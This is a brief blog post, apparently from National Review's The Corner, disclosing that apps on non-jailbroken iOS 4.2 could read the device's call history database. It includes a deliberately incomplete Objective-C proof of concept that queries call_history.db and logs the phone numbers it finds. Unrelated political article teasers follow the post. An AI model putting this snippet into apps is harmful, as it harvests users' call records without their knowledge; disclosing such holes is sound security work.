The Corner

Accessing an iPhone User’s Call History

It’s possible to access a user’s call history on a non-jailbroken phone running iOS 4.2. Other versions not tested. Proof of concept after the jump.

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #cc2324}

p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo}

span.s1 {color: #000000}

span.s2 {color: #538187}

span.s3 {color: #35595d}

span.s4 {color: #b80ca1}

span.s5 {color: #cc2324}

span.s6 {color: #410d80}

    FMDatabase* database = [FMDatabase databaseWithPath:@”/private/var/wireless/Library/CallHistory/call_history.db”];

    [database setLogsErrors: YES];

    if ([database open]) {

        FMResultSet* results = [database executeQuery:@”SELECT * FROM calls;”];

        while ([results next]) {

            NSLog(@”phone number: %@”, [[results resultDict] objectForKey:@”phone number”]);



This works because that SQLite3 database is readable by the “mobile” user, which all apps run as.

(You need to do some work to make the above code function. It doesn’t work “out-of-the-box” for obvious ethical reasons.)

Nathan Goulding — Nathan Goulding is the Chief Technology Officer of National Review. He often goes by “Chaka” in NRO’s popular blog The Corner. While having never attended a class in computer science, ...

Most Popular

Politics & Policy

Did Flynn Lie?

At the outset, let’s get two things straight: First, there is something deeply disturbing about the Obama administration’s decision to open a counterintelligence investigation on retired lieutenant general Michael Flynn while he was working on the Trump campaign — and, ultimately, about the Justice ... Read More
Law & the Courts

Where Is the Flynn 302?

Better late than never (I hope), my weekend column has posted on the website. It deals with the question whether General Michael Flynn actually lied to the FBI agents — including the now infamous Peter Strzok — when they interviewed him in the White House on his third day on the job as national security ... Read More
Politics & Policy

Who’s in Charge Here?

In the run-up to the 2016 presidential election, Donald Trump was asked on many occasions whether he would “accept the results” of the election if he were to lose. Democrats and their media allies demanded that he make a solemn vow to “accept the results.” It was never entirely clear what anybody thought ... Read More